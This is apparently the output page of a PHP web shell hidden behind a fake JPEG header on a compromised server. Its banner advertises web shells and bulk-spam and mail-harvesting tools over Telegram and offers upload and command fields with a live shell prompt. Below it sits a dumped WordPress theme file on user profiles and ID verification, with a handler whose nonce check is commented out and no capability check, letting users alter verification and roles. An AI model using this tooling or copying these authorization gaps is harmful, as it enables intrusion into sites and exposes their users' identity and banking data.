����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.144: ~ $
<?php
/*-----------------------------------------------------------------------------------*/
/*   Upload picture for user profile using ajax
/*-----------------------------------------------------------------------------------*/
if (!function_exists('homey_user_picture_upload')) {
    function homey_user_picture_upload()
    {

        // Verify if Nonce is valid
        $user_id = $_REQUEST['user_id'];
        $verify_nonce = sanitize_text_field($_REQUEST['verify_nonce']);
        if (!wp_verify_nonce($verify_nonce, 'homey_upload_nonce')) {
            echo json_encode(array('success' => false, 'reason' => 'Invalid request'));
            die;
        }

        $homey_user_image = $_FILES['homey_file_data_name'];
        $homey_wp_handle_upload = wp_handle_upload($homey_user_image, array('test_form' => false));

        if (isset($homey_wp_handle_upload['file'])) {
            $user_id = intval($_POST['user_id']);
            $current_user = wp_get_current_user();
            $currentUserID = $current_user->ID;

            //check if admin is trying to valid user, and second check is if user wants to delete him/herself.
            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {
                $file_name = basename($homey_user_image['name']);
                $file_type = wp_check_filetype($homey_wp_handle_upload['file']);

                $uploaded_image_details = array(
                    'guid' => $homey_wp_handle_upload['url'],
                    'post_mime_type' => $file_type['type'],
                    'post_title' => preg_replace('/\.[^.]+$/', '', basename($file_name)),
                    'post_content' => '',
                    'post_status' => 'inherit'
                );

                $profile_attach_id = wp_insert_attachment($uploaded_image_details, $homey_wp_handle_upload['file']);
                $profile_attach_data = wp_generate_attachment_metadata($profile_attach_id, $homey_wp_handle_upload['file']);
                wp_update_attachment_metadata($profile_attach_id, $profile_attach_data);

                $thumbnail_url = wp_get_attachment_image_src($profile_attach_id, 'thumbnail');
                homey_save_user_photo($user_id, $profile_attach_id);

                echo json_encode(array(
                    'success' => true,
                    'url' => $thumbnail_url[0],
                    'attachment_id' => $profile_attach_id
                ));
                die;
            } else {
                echo json_encode(array('success' => false, 'reason' => 'Profile Photo upload failed!'));
                die;
            }

        } else {
            echo json_encode(array('success' => false, 'reason' => 'Profile Photo upload failed!'));
            die;
        }

    }
}
add_action('wp_ajax_homey_user_picture_upload', 'homey_user_picture_upload');

if (!function_exists('homey_save_user_photo')) {
    function homey_save_user_photo($user_id, $pic_id)
    {

        $pic_id = intval($pic_id);
        update_user_meta($user_id, 'homey_author_picture_id', $pic_id);

    }
}

/*-----------------------------------------------------------------------------------*/
/*   Upload document for verification
/*-----------------------------------------------------------------------------------*/
add_action('wp_ajax_homey_user_document_upload', 'homey_user_document_upload');
if (!function_exists('homey_user_document_upload')) {
    function homey_user_document_upload()
    {

        // Verify if Nonce is valid
        $user_id = $_REQUEST['user_id'];
        $verify_nonce = $_REQUEST['verify_nonce'];
        if (!wp_verify_nonce($verify_nonce, 'homey_upload_nonce')) {
            echo json_encode(array('success' => false, 'reason' => 'Invalid request'));
            die;
        }

        $homey_user_image = $_FILES['homey_id_file_data_name'];
        $homey_wp_handle_upload = wp_handle_upload($homey_user_image, array('test_form' => false));

        if (isset($homey_wp_handle_upload['file'])) {
            $current_user = wp_get_current_user();
            $currentUserID = $current_user->ID;

            //check if admin is trying to valid user, and second check is if user wants to delete him/herself.
            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {

                $file_name = basename($homey_user_image['name']);
                $file_type = wp_check_filetype($homey_wp_handle_upload['file']);

                $uploaded_image_details = array(
                    'guid' => $homey_wp_handle_upload['url'],
                    'post_mime_type' => $file_type['type'],
                    'post_title' => preg_replace('/\.[^.]+$/', '', basename($file_name)),
                    'post_content' => '',
                    'post_status' => 'inherit'
                );

                $profile_attach_id = wp_insert_attachment($uploaded_image_details, $homey_wp_handle_upload['file']);
                $profile_attach_data = wp_generate_attachment_metadata($profile_attach_id, $homey_wp_handle_upload['file']);
//            wp_update_attachment_metadata( $profile_attach_id, $profile_attach_data );

                $thumbnail_url = wp_get_attachment_image_src($profile_attach_id, 'thumbnail');
                homey_save_user_document($user_id, $profile_attach_id);

                echo json_encode(array(
                    'success' => true,
                    'url' => $thumbnail_url[0],
                    'attachment_id' => $profile_attach_id
                ));
                die;
            } else {
                echo json_encode(array('success' => false, 'reason' => esc_html__('Document upload failed!', 'homey')));
                die;
            }

        } else {
            echo json_encode(array('success' => false, 'reason' => esc_html__('Document upload failed!', 'homey')));
            die;
        }

    }
}

if (!function_exists('homey_save_user_document')) {
    function homey_save_user_document($user_id, $pic_id)
    {
        $pic_id = intval($pic_id);
        add_user_meta($user_id, 'homey_user_document_id', $pic_id);

    }
}


/*-----------------------------------------------------------------------------------*/
// Remove user photo
/*-----------------------------------------------------------------------------------*/
add_action('wp_ajax_homey_delete_user_photo', 'homey_delete_user_photo');
if (!function_exists('homey_delete_user_photo')) {
    function homey_delete_user_photo()
    {

        $remove_attachment = false;

        $verify_nonce = $_REQUEST['verify_nonce'];
        if (!wp_verify_nonce($verify_nonce, 'homey_upload_nonce')) {
            echo json_encode(array('success' => false, 'reason' => 'Invalid request'));
            die;
        }

        if (isset($_POST['attach_id']) && isset($_POST['user_id'])) {
            $remove_attachment = false;

            $thumb_id = intval($_POST['attach_id']);
            $user_id = intval($_POST['user_id']);

            $current_user = wp_get_current_user();
            $currentUserID = $current_user->ID;

            //check if admin is trying to valid user, and second check is if user wants to delete him/herself.
            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {

                if ($thumb_id > 0 && $user_id > 0) {
                    delete_user_meta($user_id, 'homey_author_picture_id', $thumb_id);
                    $remove_attachment = wp_delete_attachment($thumb_id);
                } elseif ($thumb_id > 0) {
                    if (false == wp_delete_attachment($thumb_id)) {
                        $remove_attachment = false;
                    } else {
                        $remove_attachment = true;
                    }
                }
            }

        }

        echo json_encode(array(
            'success' => $remove_attachment,
        ));
        wp_die();

    }
}

/*-----------------------------------------------------------------------------------*/
// Save host payment 
/*-----------------------------------------------------------------------------------*/
add_action('wp_ajax_homey_add_host_payment_method', 'homey_add_host_payment_method');
if (!function_exists('homey_add_host_payment_method')) {
    function homey_add_host_payment_method()
    {
        global $current_user;
        wp_get_current_user();
        $userID = $current_user->ID;

        $payment_type = $_POST['payment_type'];
        $percent = $_POST['percent'];

        if (empty($payment_type)) {
            echo json_encode(array(
                'success' => false,
                'msg' => esc_html__('Please select payment type', 'homey'),
            ));
            wp_die();
        }

        if ($payment_type == 'percent' && empty($percent)) {
            echo json_encode(array(
                'success' => false,
                'msg' => esc_html__('Enter percentage', 'homey'),
            ));
            wp_die();
        }

        update_user_meta($userID, 'host_reservation_payment', $payment_type);
        update_user_meta($userID, 'host_booking_percent', $percent);

        echo json_encode(array(
            'success' => true,
            'msg' => esc_html__('Successfully saved', 'homey'),
        ));
        wp_die();

    }
}

/*-----------------------------------------------------------------------------------*/
// Remove user doc
/*-----------------------------------------------------------------------------------*/
add_action('wp_ajax_homey_delete_user_doc', 'homey_delete_user_doc');
if (!function_exists('homey_delete_user_doc')) {
    function homey_delete_user_doc()
    {

        $remove_attachment = false;

        $verify_nonce = $_REQUEST['verify_nonce'];
        if (!wp_verify_nonce($verify_nonce, 'homey_upload_nonce')) {
            echo json_encode(array('success' => false, 'reason' => 'Invalid request'));
            die;
        }

        if (isset($_POST['attach_id']) && isset($_POST['user_id'])) {
            $thumb_id = intval($_POST['attach_id']);
            $user_id = intval($_POST['user_id']);

            $current_user = wp_get_current_user();
            $currentUserID = $current_user->ID;

            //check if admin is trying to valid user, and second check is if user wants to delete him/herself.
            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {
                $all_docs_ids = get_user_meta($user_id, 'homey_user_document_id');
                foreach ($all_docs_ids as $key => $doc_id) {
                    if ($thumb_id > 0 && $user_id > 0) {
                        delete_user_meta($user_id, 'homey_user_document_id', $doc_id);
                        update_user_meta($user_id, 'doc_verified', 0);
                        update_user_meta($user_id, 'id_doc_verified_request', 0);
                        $remove_attachment = wp_delete_attachment($doc_id);
                        $remove_attachment_msg = esc_html__('Attachment not removed by ID', 'homey');
                    } elseif ($thumb_id > 0) {
                        if (false == wp_delete_attachment($thumb_id)) {
                            $remove_attachment = false;
                            $remove_attachment_msg = esc_html__('Attachment not removed by ID', 'homey');
                        } else {
                            $remove_attachment = true;
                            $remove_attachment_msg = esc_html__('Attachment removed successfully by ID', 'homey');
                        }
                    }
                }
            }

            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {
                $all_docs_ids = get_user_meta($user_id, 'homey_user_document_id');
                foreach ($all_docs_ids as $key => $doc_id) {
                    if ($doc_id > 0) {
                        delete_user_meta($user_id, 'homey_user_document_id', $doc_id);
                        update_user_meta($user_id, 'doc_verified', 0);
                        update_user_meta($user_id, 'id_doc_verified_request', 0);
                        $remove_attachment = wp_delete_attachment($doc_id);
                        $remove_attachment_msg = esc_html__('Attachment removed successfully', 'homey');
                    }
                }
            }

            echo json_encode(array(
                'message' => $remove_attachment_msg,
                'success' => $remove_attachment,
            ));
            wp_die();
        }else{
            echo json_encode(array(
                'message' => esc_html__('Not Authorized.', 'homey'),
                'success' => false,
            ));
            wp_die();
        }
    }
}

add_action('wp_ajax_homey_send_doc_verification_request', 'homey_send_doc_verification_request');
if (!function_exists('homey_send_doc_verification_request')) {
    function homey_send_doc_verification_request()
    {
        global $current_user;
        wp_get_current_user();
        $userID = $current_user->ID;

        $document = get_user_meta($userID, 'homey_user_document_id', true);

        if (empty($document)) {
            echo json_encode(array('success' => false, 'msg' => esc_html__('Upload your ID, Passport or Driver License', 'homey')));
            wp_die();
        }

        update_user_meta($userID, 'doc_verified', 0);
        update_user_meta($userID, 'id_doc_verified_request', 1);

        echo json_encode(
            array(
                'success' => true,
                'msg' => esc_html__('Request sent for verification', 'homey')
            )
        );

        $dashboard = homey_get_template_link_2('template/dashboard.php');
        $verify_link = add_query_arg(array(
            'dpage' => 'users',
            'user-id' => $userID,
            'tab' => 'documents',
        ), $dashboard);

        $email_args = array(
            'username' => get_the_author_meta('display_name', $userID),
            'email' => get_the_author_meta('email', $userID),
            'verify_link' => $verify_link,
        );

        $admin_email = get_option('admin_email');

        homey_email_composer($admin_email, 'admin_id_verification', $email_args);

        wp_die();


    }
}

if (!function_exists('houzez_validate_phone_number')) {
    function houzez_validate_phone_number($phone)
    {
        // Allow +, - and . in phone number
        $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);
        // Remove "-" from number
        $phone_to_check = str_replace("-", "", $filtered_phone_number);
        // Check the lenght of number
        // This can be customized if you want phone number from a specific country
        if (strlen($phone_to_check) < 5 || strlen($phone_to_check) > 20) {
            return false;
        } else {
            return true;
        }
    }
}


/* ------------------------------------------------------------------------------
* Save user profile data
/------------------------------------------------------------------------------ */
add_action('wp_ajax_nopriv_homey_save_profile', 'homey_save_profile');
add_action('wp_ajax_homey_save_profile', 'homey_save_profile');

if (!function_exists('homey_save_profile')):
    function homey_save_profile()
    {
        global $current_user;
        wp_get_current_user();
        $userID = $current_user->ID;

        $prefix = 'homey_';

        $verify_nonce = $_REQUEST['security'];
        if (!wp_verify_nonce($verify_nonce, 'homey_profile_nonce')) {
            echo json_encode(array('success' => false, 'msg' => 'Invalid request'));
            die;
        }

        // Update GDPR
        if (!empty($_POST['gdpr_agreement'])) {
            $gdpr_agreement = sanitize_text_field($_POST['gdpr_agreement']);
            update_user_meta($userID, 'gdpr_agreement', $gdpr_agreement);
        } else {
            delete_user_meta($userID, 'gdpr_agreement');
        }

        if (!empty($_POST['reg_form_phone_number'])) {
            $firstname = sanitize_text_field($_POST['reg_form_phone_number']);
            update_user_meta($userID, 'reg_form_phone_number', $firstname);
        } else {
            delete_user_meta($userID, 'reg_form_phone_number');
        }

        if (!empty($_POST['firstname'])) {
            $firstname = sanitize_text_field($_POST['firstname']);
            update_user_meta($userID, 'first_name', $firstname);
        } else {
            delete_user_meta($userID, 'first_name');
        }

        if (!empty($_POST['lastname'])) {
            $lastname = sanitize_text_field($_POST['lastname']);
            update_user_meta($userID, 'last_name', $lastname);
        } else {
            delete_user_meta($userID, 'last_name');
        }

        if (!empty($_POST['bio'])) {
            $bio = sanitize_text_field($_POST['bio']);
            update_user_meta($userID, 'description', $bio);
        } else {
            delete_user_meta($userID, 'description');
        }

        if (!empty($_POST['native_language'])) {
            $native_language = sanitize_text_field($_POST['native_language']);
            update_user_meta($userID, $prefix . 'native_language', $native_language);
        } else {
            delete_user_meta($userID, $prefix . 'native_language');
        }

        if (!empty($_POST['other_language'])) {
            $other_language = sanitize_text_field($_POST['other_language']);
            update_user_meta($userID, $prefix . 'other_language', $other_language);
        } else {
            delete_user_meta($userID, $prefix . 'other_language');
        }

        if (!empty($_POST['street_address'])) {
            $street_address = sanitize_text_field($_POST['street_address']);
            update_user_meta($userID, $prefix . 'street_address', $street_address);
        } else {
            delete_user_meta($userID, $prefix . 'street_address');
        }

        if (!empty($_POST['apt_suit'])) {
            $apt_suit = sanitize_text_field($_POST['apt_suit']);
            update_user_meta($userID, $prefix . 'apt_suit', $apt_suit);
        } else {
            delete_user_meta($userID, $prefix . 'apt_suit');
        }

        if (!empty($_POST['zipcode'])) {
            $zipcode = sanitize_text_field($_POST['zipcode']);
            update_user_meta($userID, $prefix . 'zipcode', $zipcode);
        } else {
            delete_user_meta($userID, $prefix . 'zipcode');
        }

        if (!empty($_POST['country'])) {
            $country = sanitize_text_field($_POST['country']);
            update_user_meta($userID, $prefix . 'country', $country);
        } else {
            delete_user_meta($userID, $prefix . 'country');
        }

        if (!empty($_POST['state'])) {
            $state = sanitize_text_field($_POST['state']);
            update_user_meta($userID, $prefix . 'state', $state);
        } else {
            delete_user_meta($userID, $prefix . 'state');
        }

        if (!empty($_POST['city'])) {
            $city = sanitize_text_field($_POST['city']);
            update_user_meta($userID, $prefix . 'city', $city);
        } else {
            delete_user_meta($userID, $prefix . 'city');
        }

        if (!empty($_POST['neighborhood'])) {
            $neighborhood = sanitize_text_field($_POST['neighborhood']);
            update_user_meta($userID, $prefix . 'neighborhood', $neighborhood);
        } else {
            delete_user_meta($userID, $prefix . 'neighborhood');
        }

        if (!empty($_POST['em_contact_name'])) {
            $em_contact_name = sanitize_text_field($_POST['em_contact_name']);
            update_user_meta($userID, $prefix . 'em_contact_name', $em_contact_name);
        } else {
            delete_user_meta($userID, $prefix . 'em_contact_name');
        }

        if (!empty($_POST['em_relationship'])) {
            $em_relationship = sanitize_text_field($_POST['em_relationship']);
            update_user_meta($userID, $prefix . 'em_relationship', $em_relationship);
        } else {
            delete_user_meta($userID, $prefix . 'em_relationship');
        }

        if (!empty($_POST['em_email'])) {
            $em_email = sanitize_text_field($_POST['em_email']);
            update_user_meta($userID, $prefix . 'em_email', $em_email);
        } else {
            delete_user_meta($userID, $prefix . 'em_email');
        }

        if (!empty($_POST['em_phone'])) {
            $em_phone = sanitize_text_field($_POST['em_phone']);

            if (houzez_validate_phone_number($em_phone)) {
                update_user_meta($userID, $prefix . 'em_phone', $em_phone);

            } else {
                echo json_encode(array('success' => false, 'msg' => esc_html__('Invalid phone number.', 'homey')));
                wp_die();
            }
        } else {
            delete_user_meta($userID, $prefix . 'em_phone');
        }


        // Update facebook
        if (!empty($_POST['facebook'])) {
            $facebook = sanitize_text_field($_POST['facebook']);
            update_user_meta($userID, $prefix . 'author_facebook', $facebook);
        } else {
            delete_user_meta($userID, $prefix . 'author_facebook');
        }

        // Update twitter
        if (!empty($_POST['twitter'])) {
            $twitter = sanitize_text_field($_POST['twitter']);
            update_user_meta($userID, $prefix . 'author_twitter', $twitter);
        } else {
            delete_user_meta($userID, $prefix . 'author_twitter');
        }

        // Update linkedin
        if (!empty($_POST['linkedin'])) {
            $linkedin = sanitize_text_field($_POST['linkedin']);
            update_user_meta($userID, $prefix . 'author_linkedin', $linkedin);
        } else {
            delete_user_meta($userID, $prefix . 'author_linkedin');
        }

        // Update instagram
        if (!empty($_POST['instagram'])) {
            $instagram = sanitize_text_field($_POST['instagram']);
            update_user_meta($userID, $prefix . 'author_instagram', $instagram);
        } else {
            delete_user_meta($userID, $prefix . 'author_instagram');
        }

        // Update pinterest
        if (!empty($_POST['pinterest'])) {
            $pinterest = sanitize_text_field($_POST['pinterest']);
            update_user_meta($userID, $prefix . 'author_pinterest', $pinterest);
        } else {
            delete_user_meta($userID, $prefix . 'author_pinterest');
        }

        // Update youtube
        if (!empty($_POST['youtube'])) {
            $youtube = sanitize_text_field($_POST['youtube']);
            update_user_meta($userID, $prefix . 'author_youtube', $youtube);
        } else {
            delete_user_meta($userID, $prefix . 'author_youtube');
        }

        // Update vimeo
        if (!empty($_POST['vimeo'])) {
            $vimeo = sanitize_text_field($_POST['vimeo']);
            update_user_meta($userID, $prefix . 'author_vimeo', $vimeo);
        } else {
            delete_user_meta($userID, $prefix . 'author_vimeo');
        }

        // Update airbnb
        if (!empty($_POST['airbnb'])) {
            $airbnb = sanitize_text_field($_POST['airbnb']);
            update_user_meta($userID, $prefix . 'author_airbnb', $airbnb);
        } else {
            delete_user_meta($userID, $prefix . 'author_airbnb');
        }

        // Update trip_advisor
        if (!empty($_POST['trip_advisor'])) {
            $trip_advisor = sanitize_text_field($_POST['trip_advisor']);
            update_user_meta($userID, $prefix . 'author_trip_advisor', $trip_advisor);
        } else {
            delete_user_meta($userID, $prefix . 'author_trip_advisor');
        }

        // Update Googleplus
        if (!empty($_POST['googleplus'])) {
            $googleplus = sanitize_text_field($_POST['googleplus']);
            update_user_meta($userID, $prefix . 'author_googleplus', $googleplus);
        } else {
            delete_user_meta($userID, $prefix . 'author_googleplus');
        }

        $user_roles = array('homey_renter', 'homey_sales', 'homey_host');

        // Get default user role
        $user_role = get_option('default_role');

        // Change 'administrator' role to 'subscriber' if necessary
        if ($user_role == 'administrator') {
            $user_role = 'subscriber';
        }

        // Sanitize and validate the input role
        if (isset($_POST['role']) && $_POST['role'] !== '') {
            $input_role = sanitize_text_field($_POST['role']);

            // Check if the role is valid
            if (in_array($input_role, $user_roles)) {
                $user_role = $input_role;
            }
        }

        // Ensure only valid roles are updated
        if (!empty($user_role) && !homey_is_admin()) {
            // Create user object
            $u = new WP_User($userID);

            // Remove default role and set new role
            $u->remove_role($u->roles[0]); // Remove the current role dynamically
            $u->add_role($user_role); // Set the new role

            // Update user meta after role change
            update_user_meta($userID, 'social_register_set_role', 1);
        }


        // Update email
        if (!empty($_POST['useremail'])) {
            $useremail = sanitize_email($_POST['useremail']);
            $useremail = is_email($useremail);
            if (!$useremail) {
                echo json_encode(array('success' => false, 'msg' => esc_html__('The Email you entered is not valid. Please try again.', 'homey')));
                wp_die();
            } else {
                $email_exists = email_exists($useremail);
                if ($email_exists) {
                    if ($email_exists != $userID) {
                        echo json_encode(array('success' => false, 'msg' => esc_html__('This Email is already used by another user. Please try a different one.', 'homey')));
                        wp_die();
                    }
                } else {
                    $return = wp_update_user(array('ID' => $userID, 'user_email' => $useremail, 'display_name' => $display_name));
                    if (is_wp_error($return)) {
                        $error = $return->get_error_message();
                        echo esc_attr($error);
                        wp_die();
                    }
                }
            }
        }
        wp_update_user(array('ID' => $userID, 'display_name' => $_POST['display_name']));


        update_user_meta($userID, 'homey_author_picture_id', $_POST['profile_pic_id']);

        echo json_encode(array('success' => true, 'msg' => esc_html__('Profile updated', 'homey')));
        die();
    }
endif;

/* ------------------------------------------------------------------------------
* Make superhost and update id verification
/------------------------------------------------------------------------------ */
add_action('wp_ajax_homey_make_superhost_idverify', 'homey_make_superhost_idverify');

if (!function_exists('homey_make_superhost_idverify')):

    function homey_make_superhost_idverify()
    {

        $prefix = 'homey_';

        /*$verify_nonce = $_REQUEST['security'];
        if ( ! wp_verify_nonce( $verify_nonce, 'homey_superhost_idverify_nonce' ) ) {
            echo json_encode( array( 'success' => false , 'msg' => 'Invalid request' ) );
            die;
        }*/

        $doc_verified = sanitize_text_field($_POST['doc_verified']);
        $is_superhost = sanitize_text_field($_POST['is_superhost']);
        $user_id = sanitize_text_field($_POST['user_id']);

        if (!empty($user_id)) {
            //send email that document is verified.
            $user_info = get_userdata($user_id);
            $user_email = $user_info->user_email;

            //email template
            $email_args = array(
                'username' => isset($user_info->display_name) ? $user_info->display_name : esc_html__('your', 'homey'),
                'email' => $user_email
            );

            if ($doc_verified > 0) {
                homey_email_composer($user_email, 'admin_id_verified', $email_args);
                //email template
            } else {
                homey_email_composer($user_email, 'admin_id_not_verified', $email_args);
            }

            update_user_meta($user_id, 'doc_verified', $doc_verified);
            update_user_meta($user_id, 'is_superhost', $is_superhost);
            echo json_encode(array('success' => true, 'msg' => esc_html__('Data successfully saved.', 'homey')));
        }
        die();
    }
endif;


/* ------------------------------------------------------------------------------
* Ajax Reset Password function
/------------------------------------------------------------------------------ */
add_action('wp_ajax_nopriv_homey_ajax_password_reset', 'homey_ajax_password_reset');
add_action('wp_ajax_homey_ajax_password_reset', 'homey_ajax_password_reset');

if (!function_exists('homey_ajax_password_reset')):
    function homey_ajax_password_reset()
    {
        global $current_user;
        wp_get_current_user();
        $userID = $current_user->ID;
        $allowed_html = array();

        $newpass = wp_kses($_POST['newpass'], $allowed_html);
        $confirmpass = wp_kses($_POST['confirmpass'], $allowed_html);

        if ($newpass == '' || $confirmpass == '') {
            echo json_encode(array('success' => false, 'msg' => esc_html__('New password or confirm password is blank', 'homey')));
            die();
        }
        if ($newpass != $confirmpass) {
            echo json_encode(array('success' => false, 'msg' => esc_html__('Passwords do not match', 'homey')));
            die();
        }

        check_ajax_referer('homey_pass_ajax_nonce', 'homey-security-pass');

        $user = get_user_by('id', $userID);
        if ($user) {
            wp_set_password($newpass, $userID);

            // Log the user back in immediately after resetting the password.
            wp_set_auth_cookie($userID);

            echo json_encode(array('success' => true, 'msg' => esc_html__('Password Updated', 'homey')));
        } else {
            echo json_encode(array('success' => false, 'msg' => esc_html__('Something went wrong', 'homey')));
        }
        die();
    }
endif; // end homey_ajax_password_reset


if (!function_exists('homey_usermeta')) {
    function homey_usermeta($user_id)
    {
        $user_array = array();
        $user = get_userdata($user_id);

        $user_array['username'] = $user->user_login;
        $user_array['email'] = $user->user_email;
        $user_array['register'] = $user->user_registered;
        $user_array['url'] = $user->user_url;
        $user_array['activation_key'] = $user->user_activation_key;
        $user_array['display_name'] = $user->display_name;

        return $user_array;
    }
}

if (!function_exists('homey_get_role_name')) {
    function homey_get_role_name($user_id)
    {

        $user_meta = get_userdata($user_id);
        $user_roles = $user_meta->roles;
        $user_role = '';

        foreach ($user_roles as $role) {
            $user_role = $role;
        }

        $is_superhost = get_the_author_meta('is_superhost', $user_id);

        if ($user_role == 'homey_host') {
            if ($is_superhost) {
                return esc_html__('Super Host', 'homey');
            }
            return esc_html__('Host', 'homey');
        } elseif ($user_role == 'homey_renter') {
            return esc_html__('Guest', 'homey');
        } else {
            return $user_role;
        }
    }
}

if (!function_exists('homey_get_role_text')) {
    function homey_get_role_text($user_role)
    {

        if ($user_role == 'homey_host') {
            return esc_html__('Host', 'homey');
        } elseif ($user_role == 'homey_renter') {
            return esc_html__('Guest', 'homey');
        } else {
            return $user_role;
        }
    }
}
/*-----------------------------------------------------------------------------------*/
// Get listing author
/*-----------------------------------------------------------------------------------*/
if (!function_exists('homey_get_author')) {
    function homey_get_author($w = '36', $h = '36', $classes = 'img-responsive img-circle')
    {

        global $homey_local;
        $author = array();
        $prefix = 'homey_';
        $comma = '';
        $maximumPoints = 100;
        $point = 0;

        $ID = get_the_author_meta('ID');

        $author['is_photo'] = false;
        $author['is_email'] = false;

        $author['name'] = get_the_author_meta('display_name', $ID) ?? get_the_author_meta('user_name', $ID);
        $author['name'] = empty(trim($author['name'])) ? esc_html__('User Deleted', 'homey') : $author['name'];
        $author['email'] = get_the_author_meta('email');
        $author['bio'] = get_the_author_meta('description');

        $doc_verified = get_the_author_meta('doc_verified', $ID);

        $custom_img = get_template_directory_uri() . '/images/avatar.png';

        $author_picture_id = get_the_author_meta('homey_author_picture_id', get_the_author_meta('ID'));

        if (!empty($author_picture_id)) {
            $point += 30;

            $author_picture_id = intval($author_picture_id);
            if ($author_picture_id) {

                $photo = wp_get_attachment_image($author_picture_id, array($w, $h), "", array("data-image-id" => $ID, "class" => $classes));

                if (!empty($photo)) {
                    $author['photo'] = $photo;
                } else {
                    $author['photo'] = '<img data-image-id="' . $ID . '" id="profile-img-753" src="' . esc_url($custom_img) . '" class="' . esc_attr($classes) . '" alt="' . esc_attr($author['name']) . '" width="' . esc_attr($w) . '" height="' . esc_attr($h) . '">';
                }
                $author['is_photo'] = true;
            }
        } else {
            $author['photo'] = '<img data-image-id="' . $ID . '" id="profile-img-758" src="' . esc_url($custom_img) . '" class="' . esc_attr($classes) . '" alt="' . esc_attr($author['name']) . '" width="' . esc_attr($w) . '" height="' . esc_attr($h) . '">';
        }

        $author['listing_count'] = count_user_posts($ID, 'listing');
        $native_language = get_the_author_meta($prefix . 'native_language');
        $other_language = get_the_author_meta($prefix . 'other_language');
        if (!empty($other_language) && !empty($native_language)) {
            $comma = ', ';
        }

        $author['facebook'] = get_the_author_meta('homey_author_facebook');
        $author['twitter'] = get_the_author_meta('homey_author_twitter');
        $author['linkedin'] = get_the_author_meta('homey_author_linkedin');
        $author['pinterest'] = get_the_author_meta('homey_author_pinterest');
        $author['instagram'] = get_the_author_meta('homey_author_instagram');
        $author['googleplus'] = get_the_author_meta('homey_author_googleplus');
        $author['youtube'] = get_the_author_meta('homey_author_youtube');
        $author['vimeo'] = get_the_author_meta('homey_author_vimeo');
        $author['airbnb'] = get_the_author_meta('homey_author_airbnb');
        $author['trip_advisor'] = get_the_author_meta('homey_author_trip_advisor');
        $author['link'] = get_author_posts_url(get_the_author_meta('ID'));
        $author['address'] = get_the_author_meta($prefix . 'street_address', get_the_author_meta('ID'));
        $author['country'] = get_the_author_meta($prefix . 'country', get_the_author_meta('ID'));
        $author['state'] = get_the_author_meta($prefix . 'state', get_the_author_meta('ID'));
        $author['city'] = get_the_author_meta($prefix . 'city', get_the_author_meta('ID'));
        $author['area'] = get_the_author_meta($prefix . 'area', get_the_author_meta('ID'));
        $author['is_superhost'] = get_the_author_meta('is_superhost', $ID);
        $author['doc_verified'] = $doc_verified;
        $author['user_document_id'] = get_the_author_meta('homey_user_document_id', $ID);
        $author['doc_verified_request'] = get_the_author_meta('id_doc_verified_request', $ID);
        $author['native_language'] = $native_language;
        $author['other_language'] = $other_language;
        $author['total_earnings'] = homey_get_host_total_earnings($ID);
        $author['available_balance'] = homey_get_host_available_earnings($ID);
        $author['languages'] = esc_attr($native_language . $comma . $other_language);

        // Emergency Contact 
        $author['em_contact_name'] = get_the_author_meta($prefix . 'em_contact_name', $ID);
        $author['em_relationship'] = get_the_author_meta($prefix . 'em_relationship', $ID);
        $author['em_email'] = get_the_author_meta($prefix . 'em_email', $ID);
        $author['em_phone'] = get_the_author_meta($prefix . 'em_phone', $ID);

        $author['payout_payment_method'] = get_the_author_meta('payout_payment_method', $ID);
        $author['payout_paypal_email'] = get_the_author_meta('payout_paypal_email', $ID);
        $author['payout_skrill_email'] = get_the_author_meta('payout_skrill_email', $ID);

        // Beneficiary Information
        $author['ben_first_name'] = get_the_author_meta('ben_first_name', $ID);
        $author['ben_last_name'] = get_the_author_meta('ben_last_name', $ID);
        $author['ben_company_name'] = get_the_author_meta('ben_company_name', $ID);
        $author['ben_tax_number'] = get_the_author_meta('ben_tax_number', $ID);
        $author['ben_street_address'] = get_the_author_meta('ben_street_address', $ID);
        $author['ben_apt_suit'] = get_the_author_meta('ben_apt_suit', $ID);
        $author['ben_city'] = get_the_author_meta('ben_city', $ID);
        $author['ben_state'] = get_the_author_meta('ben_state', $ID);
        $author['ben_zip_code'] = get_the_author_meta('ben_zip_code', $ID);

        //Wire Transfer Information
        $author['bank_account'] = get_the_author_meta('bank_account', $ID);
        $author['swift'] = get_the_author_meta('swift', $ID);
        $author['bank_name'] = get_the_author_meta('bank_name', $ID);
        $author['wir_street_address'] = get_the_author_meta('wir_street_address', $ID);
        $author['wir_aptsuit'] = get_the_author_meta('wir_aptsuit', $ID);
        $author['wir_city'] = get_the_author_meta('wir_city', $ID);
        $author['wir_state'] = get_the_author_meta('wir_state', $ID);
        $author['wir_zip_code'] = get_the_author_meta('wir_zip_code', $ID);

        if (!empty($author['email'])) {
            $point += 30;
            $author['is_email'] = true;
        }

        if ($doc_verified) {
            $point += 40;
        }

        $percentage = ($point * $maximumPoints) / 100;
        $author['profile_status'] = $percentage . "%";
        $author['is_email_verified'] = get_the_author_meta('is_email_verified', $ID);

        return $author;
    }
}


if (!function_exists('homey_get_author_by_id')) {
    function homey_get_author_by_id($w = '36', $h = '36', $classes = 'img-responsive img-circle', $ID = "")
    {

        global $homey_local;
        $author = array();
        $prefix = 'homey_';
        $comma = ' ';
        $maximumPoints = 100;
        $point = 0;

        $author['is_photo'] = false;
        $author['is_email'] = false;

        $custom_img = get_template_directory_uri() . '/images/avatar.png';

        $author_picture_id = get_the_author_meta('homey_author_picture_id', $ID);

